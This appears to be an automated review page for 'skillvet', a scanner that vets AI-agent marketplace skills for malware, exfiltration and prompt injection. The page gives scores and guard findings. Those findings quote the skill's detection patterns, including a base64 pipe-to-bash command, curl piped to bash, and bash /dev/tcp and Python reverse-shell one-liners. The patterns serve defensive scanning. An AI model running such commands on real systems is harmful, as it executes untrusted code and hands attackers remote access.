BF skillvet
Security scanner for ClawHub/community skills — detects malware, credential theft, exfiltration, prompt injection, obfuscation, homograph attacks, ANSI injection, campaign-specific attack patterns, and more before you install. Use when installing skills from ClawHub or any public marketplace, reviewing third-party agent skills for safety, or vetting untrusted code before giving it to your AI agent. Triggers: install skill, audit skill, check skill, vet skill, skill security, safe install, is this skill safe.
As a process F 46/100 · Will not run — References files that are not bundled: scripts/patterns.b64
What is at stake
Medium-severity findings: the skill is probably honest, but read what alarmed the scanner.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
How to improve
- The text references files that are not there: add them or drop the references.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 11
✓ No critical or high findings
Medium and low: 11
-
medium Dangerous commands
cmd-encoded-execSKILL.md:152Executes a base64/encoded payload (documentation table row; documentation of a security skill)| 29 | Base64 pipe-to-interpreter | `echo '...' \| base64 -D \| bash` — primary macOS vector |
tablesecurity skill -
low Dangerous commands
cmd-background-processscripts/skill-audit.sh:219Starts a background / autostarted process (string literal in code, not executed; documentation of a security skill)[32]="Do not combine background persistence (nohup/disown) with network access."
code literalsecurity skill -
low Dangerous commands
cmd-pipe-to-shellSKILL.md:144Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation table row; documentation of a security skill)| 21 | Pipe-to-shell | `curl \| bash` (HTTP and HTTPS) |
tablesecurity skill -
low Risky intent
intent-offensive-securitySKILL.md:163Offensive-security / dual-use content (legitimate for authorised testing; review intended use)| 40 | Bash /dev/tcp reverse shell | `bash -i >/dev/tcp/IP/PORT 0>&1` (AuthTool pattern) |
-
low Risky intent
intent-offensive-securitySKILL.md:165Offensive-security / dual-use content (legitimate for authorised testing; review intended use)| 42 | Python reverse shell | `socket.connect` + `dup2`, `pty.spawn('/bin/bash')` |
A further 6 matches are quotations in this security skill's documentation and are not counted as findings.
Files scanned: 5. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
missing-refreference to a missing file: scripts/patterns.b64
Process rating: all ten parameters 46/100
- 0Tools and files. 1 referenced file(s) missing: scripts/patterns.b64
- 0Result and completion. Does not say what the result is
- 0Progress reporting. Says nothing while it works
- 20When it triggers. No condition that starts the skill
- 30Running it twice. 11 mutating operations with no state check
- 55Failures and branches. 1 branches
- 70Inputs and preconditions. Inputs and preconditions are listed
- 100Steps. 8 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 2464 tokens
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- +1No license
- +2Single-language instructions
- +3Description length 513: enough signal without eating the budget
- +4Structure: 16 headings
- +3Step-by-step instructions: 8 items
- +4Has examples (13 code blocks)
- +3All 4 scripts are documented
Quality base 70; lint remarks subtract, signals add up to 100. Result: 81.